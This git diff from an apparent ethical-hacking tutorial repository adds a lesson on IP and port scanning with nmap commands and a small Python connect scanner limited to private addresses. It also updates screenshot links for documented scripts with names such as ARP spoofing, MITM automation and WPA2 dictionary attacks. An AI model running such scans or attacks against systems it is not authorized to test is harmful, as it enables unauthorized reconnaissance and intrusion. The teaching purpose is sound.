diff --git a/imgs/https_data_fetcher_bettercap3.png b/imgs/https_data_fetcher_bettercap3.png
deleted file mode 100644
index accc6ca..0000000
Binary files a/imgs/https_data_fetcher_bettercap3.png and /dev/null differ
diff --git a/imgs/ids_probe.png b/imgs/ids_probe.png
deleted file mode 100644
index 5333a66..0000000
Binary files a/imgs/ids_probe.png and /dev/null differ
diff --git a/imgs/ids_probe1.png b/imgs/ids_probe1.png
deleted file mode 100644
index cb4223c..0000000
Binary files a/imgs/ids_probe1.png and /dev/null differ
diff --git a/imgs/ids_probe2.png b/imgs/ids_probe2.png
deleted file mode 100644
index 6050921..0000000
Binary files a/imgs/ids_probe2.png and /dev/null differ
diff --git a/imgs/l1.png b/imgs/l1.png
deleted file mode 100644
index 6e7bef9..0000000
Binary files a/imgs/l1.png and /dev/null differ
diff --git a/imgs/l2.png b/imgs/l2.png
deleted file mode 100644
index 7df73a1..0000000
Binary files a/imgs/l2.png and /dev/null differ
diff --git a/imgs/l3.png b/imgs/l3.png
deleted file mode 100644
index f10c7d5..0000000
Binary files a/imgs/l3.png and /dev/null differ
diff --git a/imgs/l4.png b/imgs/l4.png
deleted file mode 100644
index 8dc8b7d..0000000
Binary files a/imgs/l4.png and /dev/null differ
diff --git a/imgs/ll1.png b/imgs/ll1.png
deleted file mode 100644
index b514e40..0000000
Binary files a/imgs/ll1.png and /dev/null differ
diff --git a/imgs/ll2.png b/imgs/ll2.png
deleted file mode 100644
index e6b5b7a..0000000
Binary files a/imgs/ll2.png and /dev/null differ
diff --git a/imgs/mac_address_change.jpg b/imgs/mac_address_change.jpg
deleted file mode 100644
index b430b59..0000000
Binary files a/imgs/mac_address_change.jpg and /dev/null differ
diff --git a/imgs/mitm_attack_automator.png b/imgs/mitm_attack_automator.png
deleted file mode 100644
index 172527c..0000000
Binary files a/imgs/mitm_attack_automator.png and /dev/null differ
diff --git a/imgs/port-scanning1.png b/imgs/port-scanning1.png
deleted file mode 100644
index 8610716..0000000
Binary files a/imgs/port-scanning1.png and /dev/null differ
diff --git a/imgs/port-scanning2.png b/imgs/port-scanning2.png
deleted file mode 100644
index c9da385..0000000
Binary files a/imgs/port-scanning2.png and /dev/null differ
diff --git a/imgs/port-scanning3.png b/imgs/port-scanning3.png
deleted file mode 100644
index 9f63c59..0000000
Binary files a/imgs/port-scanning3.png and /dev/null differ
diff --git a/imgs/port-scanning4.png b/imgs/port-scanning4.png
deleted file mode 100644
index 47769aa..0000000
Binary files a/imgs/port-scanning4.png and /dev/null differ
diff --git a/imgs/portscanner_test.png b/imgs/portscanner_test.png
deleted file mode 100644
index bfaf5bc..0000000
Binary files a/imgs/portscanner_test.png and /dev/null differ
diff --git a/imgs/portscanner_test2.png b/imgs/portscanner_test2.png
deleted file mode 100644
index 89621d9..0000000
Binary files a/imgs/portscanner_test2.png and /dev/null differ
diff --git a/imgs/quick scan plus.png b/imgs/quick scan plus.png
deleted file mode 100644
index a2ffde8..0000000
Binary files a/imgs/quick scan plus.png and /dev/null differ
diff --git a/imgs/remote_collect_via_ssh.jpg b/imgs/remote_collect_via_ssh.jpg
deleted file mode 100644
index 1cd61ff..0000000
Binary files a/imgs/remote_collect_via_ssh.jpg and /dev/null differ
diff --git a/imgs/remote_collect_via_ssh2.jpg b/imgs/remote_collect_via_ssh2.jpg
deleted file mode 100644
index e66d442..0000000
Binary files a/imgs/remote_collect_via_ssh2.jpg and /dev/null differ
diff --git a/imgs/remote_collect_via_ssh3.jpg b/imgs/remote_collect_via_ssh3.jpg
deleted file mode 100644
index f4e3957..0000000
Binary files a/imgs/remote_collect_via_ssh3.jpg and /dev/null differ
diff --git a/imgs/service_view_zenmap.png b/imgs/service_view_zenmap.png
deleted file mode 100644
index 174aa7b..0000000
Binary files a/imgs/service_view_zenmap.png and /dev/null differ
diff --git a/imgs/source.gif b/imgs/source.gif
deleted file mode 100644
index cbdac62..0000000
Binary files a/imgs/source.gif and /dev/null differ
diff --git a/imgs/vmw-virtualization-defined.jpg b/imgs/vmw-virtualization-defined.jpg
deleted file mode 100644
index be6ee78..0000000
Binary files a/imgs/vmw-virtualization-defined.jpg and /dev/null differ
diff --git a/imgs/weakencrpyption.png b/imgs/weakencrpyption.png
deleted file mode 100644
index 365d7e9..0000000
Binary files a/imgs/weakencrpyption.png and /dev/null differ
diff --git a/imgs/wep_wifi_hacking.png b/imgs/wep_wifi_hacking.png
deleted file mode 100644
index 57d2346..0000000
Binary files a/imgs/wep_wifi_hacking.png and /dev/null differ
diff --git a/imgs/wordlist_generator.jpg b/imgs/wordlist_generator.jpg
deleted file mode 100644
index 7db2039..0000000
Binary files a/imgs/wordlist_generator.jpg and /dev/null differ
diff --git a/imgs/wordlist_generator2.jpg b/imgs/wordlist_generator2.jpg
deleted file mode 100644
index d0b42af..0000000
Binary files a/imgs/wordlist_generator2.jpg and /dev/null differ
diff --git a/imgs/wpa2_dictionary_attack.png b/imgs/wpa2_dictionary_attack.png
deleted file mode 100644
index e46b344..0000000
Binary files a/imgs/wpa2_dictionary_attack.png and /dev/null differ
diff --git a/python-for-eth-hacking/A-guide-to-port-scanning.md b/python-for-eth-hacking/A-guide-to-port-scanning.md
new file mode 100644
index 0000000..ecb6ab1
--- /dev/null
+++ b/python-for-eth-hacking/A-guide-to-port-scanning.md
@@ -0,0 +1,194 @@
+---
+title: "IP & Port Scanning"
+slug: "port-scanning"
+order: 13
+category: "python-for-ethical-hacking"
+prev: "binary-exploitation"
+next: "mac-address-changer"
+---
+
+# IP & Port Scanning
+
+
+* **IP** stands for `Internet Protocol`. an IP address (IPv4 or IPv6) identifies a host on a network so packets can be routed to it.
+* **Ports** are numeric endpoints on a host that services listen on (for example, 80 for HTTP, 22 for SSH). A single IP can host many services distinguished by port numbers.
+* **IP scanning** discovers active hosts on a network (which IPs respond).
+* **Port scanning** probes a specific host to determine which ports are open (which services might be reachable).
+* Scanning is used by system administrators and security testers to map networks, verify firewall rules, and discover unintended exposed services. It is also a common reconnaissance step in attacks. DISCLAIMER: **only perform scans on systems you own or are explicitly authorized to test**.
+
+
+---
+
+## Why learn scanning?
+
+* To inventory devices and services on your own network.
+* To verify that firewall rules and service exposure match security policy.
+* To find misconfigurations or unintended open services that could be hardened.
+* To practice defensive tooling and incident response in controlled lab environments.
+
+---
+
+## High-level approach
+
+1. **Discover hosts (IP discovery)**
+ Methods include ARP queries on a local network, ICMP ping sweeps, and crafted TCP/UDP probes. On routed networks not under your control, many hosts will drop ICMP so discovery techniques vary.
+
+2. **Choose scan type (port probing strategy)**
+
+ * **Connect scan** - attempt to establish a TCP connection to the target port and observe success/failure. Simple and reliable
+ * **UDP scan** - send UDP packets and infer open/closed from responses or lack thereof (slow and noisy).
+ * **Version/service detection** - after finding open ports, probe them in a safe way to identify the service and version (helps prioritize fixes).
+ * **Timing and stealth** - adjust probe rate and timing to reduce load or evade simplistic detection
+
+3. **Interpret results**
+
+ * Open ports usually indicate a listening service.
+ * Filtered/closed results can mean a firewall or host that drops probes.
+ * Combine scans with banner/version checks and authenticated checks (where authorized) to assess risk.
+
+---
+
+## How to scan
+
+* this guide assumes you have Kali or Debian based VM
+
+### 1) Find your own IP
+
+```bash
+ip addr show
+```
+OR
+```bash
+ifconfig
+```
+
+What to look for
+
+* Pick the IPv4 address that belongs to your machine and note the subnet (e.g., `192.168.1.15/24 in the screenshot`).
+
+
+
+---
+
+### 2) Install nmap
+
+What is `nmap`
+
+* `nmap` is a widely used network scanner for host discovery, port scanning, and basic service/version detection. It's ideal for learning because it includes multiple scan modes and safe defaults.
+
+Install
+
+```bash
+sudo apt update
+sudo apt install -y nmap
+```
+---
+
+### 3) Quick nmap primer
+
+A) Discover live hosts on your LAN
+
+```bash
+# replace 192.168.1.15/24 with the subnet you found in step 1
+nmap -sn 192.168.1.15/24
+```
+* `-sn` = host discovery only
+
+
+
+B) Full port range on localhost
+
+```bash
+nmap -sT -p 1-65535 127.0.0.1
+```
+* `-sT` performs full TCP handshakes and is easy to understand for beginners.
+* Slow but useful to see everything listening on your own machine.
+
+
+
+### Before we proceed, install & start an SSH server so that we can see a real port open in the scan
+```bash
+sudo apt update
+sudo apt install -y openssh-server
+sudo systemctl enable --now ssh
+```
+
+C) Service/version detection
+```bash
+nmap -sT -sV --top-ports 50 192.168.1.15
+```
+
+* `-sV` probes services to guess software/version.
+
+
+
+---
+
+## 5) Minimal Python Implementation `local_probe.py`
+
+```python
+# local_probe.py
+import socket, ipaddress, sys
+
+def is_allowed_target(ip):
+ try:
+ addr = ipaddress.ip_address(ip)
+ return addr.is_private or ip == "127.0.0.1"
+ except ValueError:
+ return False
+
+target = input("Target IP (127.0.0.1 or private range): ").strip()
+if not is_allowed_target(target):
+ print("Refusing non-private target. Use only localhost or private IPs.")
+ sys.exit(1)
+
+ports_in = input("Enter ports (comma separated, e.g. 22,80,443): ").strip()
+try:
+ ports = [int(p) for p in ports_in.split(",") if p.strip()]
+except ValueError:
+ print("Invalid port list")
+ sys.exit(1)
+
+timeout = 0.8
+for p in ports:
+ if not (0 < p < 65536):
+ print(f"port {p}: invalid")
+ continue
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.settimeout(timeout)
+ try:
+ s.connect((target, p))
+ print(f"port {p}: open")
+ except socket.timeout:
+ print(f"port {p}: filtered/timeout")
+ except ConnectionRefusedError:
+ print(f"port {p}: closed")
+ except Exception as e:
+ print(f"port {p}: error {e}")
+ finally:
+ s.close()
+print("[+] Done")
+```
+
+---
+
+### 6) Interpretation & next steps
+
+* `open` = service accepted the connection
+* `closed` = host reachable but no service on that port
+* `filtered` = firewall or device dropped the probe
+
+### 7) Final safety & etiquette reminders
+
+* Get written permission to scan non‑owned systems
+* Use low timing templates (`-T2`) on shared networks
+* Notify admins if scanning production or shared infrastructure to avoid false alarms
+* Always document scans and findings and remediate responsibly
+
+---
+
+### Path
+
+<- [Previous Lesson: Binary Exploitation](/Binary-Exploitation.MD)
+-> [Next Lesson: Writing A MAC Address Changer](/lesson-1.md)
+
diff --git a/python-for-eth-hacking/lesson-1.md b/python-for-eth-hacking/lesson-1.md
index eb3e4cb..dcd27db 100644
--- a/python-for-eth-hacking/lesson-1.md
+++ b/python-for-eth-hacking/lesson-1.md
@@ -1,6 +1,15 @@
+---
+title: "Writing A MAC Address Changer"
+slug: "mac-address-changer"
+order: 14
+category: "python-for-ethical-hacking"
+prev: "port-scanning"
+next: "ids-probe-lesson"
+---
+
# Writing A MAC Address Changer
- 
+ 
- MAC stands for `Media Access Control`. It is a permanent, physical and unique address assigned to network interfaces by the device manufacturer.
- So, whether you have a wireless card or wired or ethernet card, each of them come with a specific address that is unique to the card, so there are no 2 devices in the world with the same MAC Address.
@@ -18,7 +27,7 @@
- Run `ifconfig` command on the computer. This will list all the interfaces available on the computer. When we say interface, we mean a network card. When we execute the command it shows `eth0` which is a virtual interface.
- 
+ 
- `eth0` is not real. It is created by the virtual box, because the VM is set to use a NAT network, by default. It thinks that it is connected to a wired network. All this is done using a Virtual Interface connected to the Virtual Wired Network.
- We can also see `lo` which is also a virtual interface created by `linux`.
@@ -49,7 +58,7 @@
- Now, use `ifconfig` command again to check if the MAC Address has changed again or not. Now, if you look at the `ether` option of the `interface_name` we have been using so far, it's been modified to what we have set.
- 
+ 
- Following are the proof for proper execution of these statements:
@@ -164,4 +173,10 @@
- In the program, we didn't use `shell=True` in the `subprocess.call()` function. This is because we are passing the command and its arguments as a list, which is the recommended way to avoid shell injection vulnerabilities. If you use `shell=True`, you should be very careful about the input to avoid executing arbitrary commands.
+---
+
+### Path
+
+<- [Previous Lesson: IP & Port Scanning](/A-guide-to-port-scanning.md)
+
diff --git a/python-scripts/async_port_scanner.md b/python-scripts/async_port_scanner.md
index 335f9a2..767ca55 100644
--- a/python-scripts/async_port_scanner.md
+++ b/python-scripts/async_port_scanner.md
@@ -76,7 +76,7 @@ The script's execution flow is managed by the standard Python entry point:
### Screenshots
-
+
---
diff --git a/python-scripts/bettercap_arp_spoofing_script.md b/python-scripts/bettercap_arp_spoofing_script.md
index fd10081..b38d5e1 100644
--- a/python-scripts/bettercap_arp_spoofing_script.md
+++ b/python-scripts/bettercap_arp_spoofing_script.md
@@ -58,7 +58,7 @@ The script's execution is controlled by the `main()` function, which is called w
### Screenshots
-
+
---
diff --git a/python-scripts/https_data_fetcher_bettercap.md b/python-scripts/https_data_fetcher_bettercap.md
index c0af104..1044df3 100644
--- a/python-scripts/https_data_fetcher_bettercap.md
+++ b/python-scripts/https_data_fetcher_bettercap.md
@@ -63,13 +63,13 @@ The script follows a sequential, four-step flow managed by the `main` function (
### Screenshots
-
+
-
+
-
+
-
+
---
diff --git a/python-scripts/ids_probe.md b/python-scripts/ids_probe.md
index 85699df..4b23792 100644
--- a/python-scripts/ids_probe.md
+++ b/python-scripts/ids_probe.md
@@ -62,11 +62,11 @@ The script's execution is controlled by the `main()` function, which is the stan
### Screenshots
-
+
-
+
-
+
---
diff --git a/python-scripts/images/async.png b/python-scripts/images/async.png
index bfaf5bc..1237f5f 100644
Binary files a/python-scripts/images/async.png and b/python-scripts/images/async.png differ
diff --git a/python-scripts/images/async2.png b/python-scripts/images/async2.png
index 89621d9..c6e1457 100644
Binary files a/python-scripts/images/async2.png and b/python-scripts/images/async2.png differ
diff --git a/python-scripts/images/async_port_scanner_flow_edges.png b/python-scripts/images/async_port_scanner_flow_edges.png
index e9e9ee5..684cf26 100644
Binary files a/python-scripts/images/async_port_scanner_flow_edges.png and b/python-scripts/images/async_port_scanner_flow_edges.png differ
diff --git a/python-scripts/images/bettercap_arp_op.png b/python-scripts/images/bettercap_arp_op.png
index a4cfcd5..817ae4b 100644
Binary files a/python-scripts/images/bettercap_arp_op.png and b/python-scripts/images/bettercap_arp_op.png differ
diff --git a/python-scripts/images/bettercap_controller_flow_professional.png b/python-scripts/images/bettercap_controller_flow_professional.png
index ed02958..ae6e071 100644
Binary files a/python-scripts/images/bettercap_controller_flow_professional.png and b/python-scripts/images/bettercap_controller_flow_professional.png differ
diff --git a/python-scripts/images/deauth_controller.png b/python-scripts/images/deauth_controller.png
index e13c523..2cbaae9 100644
Binary files a/python-scripts/images/deauth_controller.png and b/python-scripts/images/deauth_controller.png differ
diff --git a/python-scripts/images/mitm_attack_flow.png b/python-scripts/images/mitm_attack_flow.png
index 35a38b4..695de73 100644
Binary files a/python-scripts/images/mitm_attack_flow.png and b/python-scripts/images/mitm_attack_flow.png differ
diff --git a/python-scripts/images/mitm_automation_op.png b/python-scripts/images/mitm_automation_op.png
index 172527c..1b3880a 100644
Binary files a/python-scripts/images/mitm_automation_op.png and b/python-scripts/images/mitm_automation_op.png differ
diff --git a/python-scripts/images/wpa_dictionary_attack_flow.png b/python-scripts/images/wpa_dictionary_attack_flow.png
index 2cf847a..4b1db1c 100644
Binary files a/python-scripts/images/wpa_dictionary_attack_flow.png and b/python-scripts/images/wpa_dictionary_attack_flow.png differ
diff --git a/python-scripts/images/wpa_wpa2_2op.png b/python-scripts/images/wpa_wpa2_2op.png
index e46b344..270d004 100644
Binary files a/python-scripts/images/wpa_wpa2_2op.png and b/python-scripts/images/wpa_wpa2_2op.png differ
diff --git a/python-scripts/images/wpa_wpa2op.png b/python-scripts/images/wpa_wpa2op.png
index 4da3ed1..ac080f6 100644
Binary files a/python-scripts/images/wpa_wpa2op.png and b/python-scripts/images/wpa_wpa2op.png differ
diff --git a/python-scripts/mac-address-change.md b/python-scripts/mac-address-change.md
index 1444b47..b08669e 100644
--- a/python-scripts/mac-address-change.md
+++ b/python-scripts/mac-address-change.md
@@ -54,7 +54,7 @@ The script follows a standard Python entry point structure to ensure the main lo
### Screenshots
-
+
---
diff --git a/python-scripts/mitm_attack_automator.md b/python-scripts/mitm_attack_automator.md
index 41854b3..2c828d1 100644
--- a/python-scripts/mitm_attack_automator.md
+++ b/python-scripts/mitm_attack_automator.md
@@ -55,7 +55,7 @@ The script's primary control flow is managed within the `if __name__ == "__main_
### Screenshots
-
+
---
diff --git a/python-scripts/portscanner_test.md b/python-scripts/portscanner_test.md
index d797fed..03b973d 100644
--- a/python-scripts/portscanner_test.md
+++ b/python-scripts/portscanner_test.md
@@ -54,9 +54,9 @@ The script's execution is initialized by the standard Python entry point, which
### Screenshots
-
+
-
+
---
diff --git a/python-scripts/remote_collect_via_ssh.md b/python-scripts/remote_collect_via_ssh.md
index 90b4265..330111d 100644
--- a/python-scripts/remote_collect_via_ssh.md
+++ b/python-scripts/remote_collect_via_ssh.md
@@ -76,11 +76,11 @@ The script initiates execution through the `main()` function, called by the `if
### Screenshots
-
+
-
+
-
+
---
diff --git a/python-scripts/wep_wifi_hacking.md b/python-scripts/wep_wifi_hacking.md
index 49c9907..8388d6a 100644
--- a/python-scripts/wep_wifi_hacking.md
+++ b/python-scripts/wep_wifi_hacking.md
@@ -65,7 +65,7 @@ The overall flow is:
### Screenshots
-
+
---
diff --git a/python-scripts/wordlist_generator.md b/python-scripts/wordlist_generator.md
index 38c3870..fb17624 100644
--- a/python-scripts/wordlist_generator.md
+++ b/python-scripts/wordlist_generator.md
@@ -73,9 +73,9 @@ The script's execution begins within the `if __name__ == "__main__":` block, whi
### Screenshots
-
+
-
+
---
diff --git a/python-scripts/wpa2_dictionary_attack.md b/python-scripts/wpa2_dictionary_attack.md
index 7ca8f8f..b1c9449 100644
--- a/python-scripts/wpa2_dictionary_attack.md
+++ b/python-scripts/wpa2_dictionary_attack.md
@@ -66,7 +66,7 @@ The script's primary control flow is managed within the `if __name__ == "__main_
### Screenshots
-
+
---